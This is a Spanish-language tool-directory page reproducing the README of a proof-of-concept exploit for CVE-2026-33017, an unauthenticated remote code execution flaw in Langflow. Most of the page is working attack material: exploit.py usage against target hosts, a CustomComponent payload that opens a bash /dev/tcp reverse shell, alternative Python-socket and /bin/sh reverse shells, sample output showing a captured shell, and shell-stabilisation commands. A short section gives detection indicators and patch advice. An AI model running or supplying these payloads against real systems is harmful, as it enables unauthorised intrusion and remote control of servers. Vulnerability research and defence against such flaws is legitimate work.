Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Herramientas/GitHubGitHub/ahseven/cve-2026-33017-poc-reverse-shell
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónRed TeamingHerramienta de Acceso Remoto
GitHubahseven/cve-2026-33017-poc-reverse-shell

CVE-2026-33017-PoC-Reverse-Shell

Exploit para CVE-2026-33017, un RCE no autenticado en Langflow, que permite una reverse shell mediante un payload malicioso de CustomComponent.

Ver Repositorio
10hace 20 díasAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-33017 - Exploit de RCE no autenticado en Langflow

📋 Descripción general

CVE-2026-33017 es una vulnerabilidad de Ejecución Remota de Código (RCE) no autenticada en versiones de Langflow <= 1.8.2. La vulnerabilidad existe en el endpoint /api/v1/build_public_tmp/{flow_id}/flow, que carece de autenticación adecuada y permite a los atacantes ejecutar código Python arbitrario durante el proceso de compilación del grafo.

⚠️ Aviso legal

Este exploit es solo para fines educativos y de pruebas autorizadas. El acceso no autorizado a sistemas informáticos es ilegal. Utilice esta herramienta únicamente en sistemas que le pertenezcan o para los que tenga permiso explícito de prueba.

🎯 Versiones afectadas

VersiónEstado
<= 1.8.2Vulnerable
1.9.0Corregida

🔍 Detalles de la vulnerabilidad

Causa raíz

La vulnerabilidad se origina en la función prepare_global_scope() en validate.py, que llama a exec() sobre el código de cada nodo CustomComponent sin un sandboxing adecuado. Cuando un componente se carga/compila, cualquier código Python a nivel de módulo (fuera de las definiciones de clase) se ejecuta inmediatamente.

Endpoint vulnerable

root@kitploit:~
POST /api/v1/build_public_tmp/{flow_id}/flow

Características:

  • ❌ No requiere autenticación
  • ❌ No requiere clave API
  • ❌ No requiere cabecera de autorización
  • ✅ Los datos controlados por el atacante se pasan directamente al constructor del grafo

Cadena de ejecución de código

root@kitploit:~
POST del atacante → build_public_tmp → start_flow_build() → create_graph() → 
Graph.from_payload() → add_nodes_and_edges() → initialize() → 
_instantiate_components_in_vertices() → instantiate_component() → 
eval_custom_component_code() → prepare_global_scope() → 
exec(compiled_code) ← EJECUCIÓN DE CÓDIGO ARBITRARIO

🛠️ Explotación

Requisitos previos

  1. Un ID de flujo público (UUID) de una instancia de Langflow
  2. URL de destino (instancia de Langflow)
  3. IP y puerto del listener para la reverse shell

Instalación

root@kitploit:~
git clone https://github.com/yourusername/CVE-2026-33017-exploit.git
cd CVE-2026-33017-exploit
pip install -r requirements.txt

Requisitos

root@kitploit:~
requests>=2.28.0
urllib3>=1.26.0

Uso

Sintaxis básica

root@kitploit:~
python3 exploit.py --url <TARGET_URL> --flow-id <FLOW_ID> --lhost <LISTENER_IP> --lport <LISTENER_PORT>

Ejemplos

1. Reverse Shell

root@kitploit:~
# Iniciar listener
nc -lvnp 4444

# Ejecutar exploit
python3 exploit.py --url https://target.langflow.com --flow-id 7d84d636-af65-42e4-ac38-26e867052c25 --lhost 10.10.16.171 --lport 4444

2. Usando opciones cortas

root@kitploit:~
python3 exploit.py -u https://target.langflow.com -f 7d84d636-af65-42e4-ac38-26e867052c25 -lh 10.10.16.171 -lp 4444

3. Pruebas locales

root@kitploit:~
python3 exploit.py -u http://localhost:7860 -f 7d84d636-af65-42e4-ac38-26e867052c25 -lh 10.10.16.171 -lp 4444

4. Timeout personalizado

root@kitploit:~
python3 exploit.py -u https://target.langflow.com -f 7d84d636-af65-42e4-ac38-26e867052c25 -lh 10.10.16.171 -lp 4444 -t 30

Argumentos de línea de comandos

ArgumentoCortoObligatorioDescripción
--url-uSíURL de destino (p. ej., https://target.langflow.com)
--flow-id-fSíID de flujo (UUID) del flujo público
--lhost-lhSíDirección IP del listener para la reverse shell
--lport-lpSíPuerto del listener para la reverse shell
--timeout-tNoTimeout HTTP en segundos (predeterminado: 15)

🔧 Cómo funciona

1. Estructura del payload

El exploit envía un nodo CustomComponent malicioso que ejecuta código a nivel de módulo:

root@kitploit:~
import os

# Esto se ejecuta inmediatamente durante la carga del componente
_x = os.system("bash -c 'bash -i >& /dev/tcp/LHOST/LPORT 0>&1'")

from lfx.custom.custom_component.component import Component
from lfx.io import Output
from lfx.schema.data import Data

class ExploitComp(Component):
    display_name="X"
    outputs=[Output(display_name="O",name="o",method="r")]
    def r(self)->Data:
        return Data(data={})

2. Flujo de ejecución

root@kitploit:~
1. El atacante envía una solicitud POST a /api/v1/build_public_tmp/{flow_id}/flow
2. Langflow recibe el CustomComponent malicioso
3. prepare_global_scope() llama a exec() sobre el código del componente
4. El código a nivel de módulo se ejecuta inmediatamente
   ├── _x = os.system("bash -c 'bash -i >& /dev/tcp/LHOST/LPORT 0>&1'")
5. La reverse shell se conecta de vuelta al listener del atacante
6. La compilación del grafo continúa (pero ya es demasiado tarde)

3. Por qué funciona

  • Ejecución a nivel de módulo: El código fuera de las definiciones de clase se ejecuta durante exec()
  • Sin sandboxing: exec() se llama sin restricciones
  • Sin autenticación: El endpoint es de acceso público
  • Datos controlados por el atacante: El parámetro data se incrusta directamente

📊 Prueba de concepto

Salida de exploit exitoso

root@kitploit:~
$ python3 exploit.py -u https://target.langflow.com -f 7d84d636-af65-42e4-ac38-26e867052c25 -lh 10.10.16.171 -lp 4444

============================================================
  CVE-2026-33017 - Langflow Unauthenticated RCE
============================================================

[!] Asegúrese de que su listener esté en ejecución:
    nc -lvnp 4444

[+] URL de destino: https://target.langflow.com/api/v1/build_public_tmp/7d84d636-af65-42e4-ac38-26e867052c25/flow
[+] LHOST: 10.10.16.171
[+] LPORT: 4444
[*] Enviando payload del exploit...
[+] Código de estado: 200
[+] ¡Exploit enviado con éxito!
[+] ID de trabajo: abc123-def456-789ghi

[*] ¡Compruebe su listener para la reverse shell!
[*] nc -lvnp 4444

$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.16.171] from (UNKNOWN) [10.129.8.2] 42348
bash: cannot set terminal process group (1526): Inappropriate ioctl for device
bash: no job control in this shell
www-data@langflow:/app$

🚀 Uso avanzado

Estabilizar la shell

Una vez que tenga una reverse shell:

root@kitploit:~
# Python PTY
python3 -c 'import pty; pty.spawn("/bin/bash")'

# O usar script
script /dev/null -c bash

# Poner en segundo plano con Ctrl+Z
# Luego ejecutar:
stty raw -echo
fg
reset
export TERM=xterm

Ejecutar comandos personalizados

Modifique el script para ejecutar comandos arbitrarios en lugar de una reverse shell:

root@kitploit:~
# En la función build_payload():
return f"""import os

_x = os.system("{command}")

from lfx.custom.custom_component.component import Component
from lfx.io import Output
from lfx.schema.data import Data

class ExploitComp(Component):
    display_name="X"
    outputs=[Output(display_name="O",name="o",method="r")]
    def r(self)->Data:
        return Data(data={{}})
"""

Payloads alternativos

1. Reverse Shell con socket Python

root@kitploit:~
import os, socket, subprocess

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("LHOST", LPORT))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
subprocess.call(["/bin/bash", "-i"])

2. Reverse Shell con /bin/sh (si bash no está disponible)

root@kitploit:~
import os
os.system("/bin/sh -c 'exec 5<>/dev/tcp/LHOST/LPORT;cat <&5 | while read line; do $line 2>&5 >&5; done'")

🛡️ Detección y prevención

Indicadores de detección

  • Solicitudes POST a /api/v1/build_public_tmp/*/flow sin autenticación
  • Código CustomComponent sospechoso que contenga os.system() o subprocess
  • Archivos inesperados /tmp/rce-proof o /tmp/executed
  • Conexiones salientes desde contenedores de Langflow

Medidas de prevención

  1. Aplicar el parche: Actualice a Langflow 1.9.0 o posterior
  2. Implementar autenticación: Añada autenticación adecuada al endpoint /build_public_tmp
  3. Validación de entrada: Sanitice la entrada de código para CustomComponent
  4. Sandboxing: Implemente un sandboxing adecuado para las llamadas a exec()
  5. Segmentación de red: Aísle las instancias de Langflow

📚 Referencias

  • Aviso de GitHub: GHSA-vwmf-pq79-vjvx - Aviso oficial de CVE-2026-33017
  • Entrada CVE: CVE-2026-33017 en NVD
  • Repositorio de GitHub de Langflow: langflow-ai/langflow
  • OWASP Top 10 - A03:2021 Inyección: Hoja de referencia de prevención de inyección

🗺️ Cronología

FechaEvento
Marzo 2026Vulnerabilidad descubierta
16 de marzo de 2026Aviso de GitHub publicado
Abril 2026Divulgación pública
Abril 2026Parche publicado (1.9.0)

📝 Licencia

Este proyecto es solo para fines educativos. Úselo bajo su propio riesgo.

⚖️ Aviso legal

Este software se proporciona únicamente con fines educativos y de pruebas de seguridad autorizadas. Los autores no son responsables de ningún uso indebido o daño causado por este software. Los usuarios son los únicos responsables de cumplir con todas las leyes y regulaciones aplicables.


Hecho con 🖤 para la investigación en seguridad

Descargar herramienta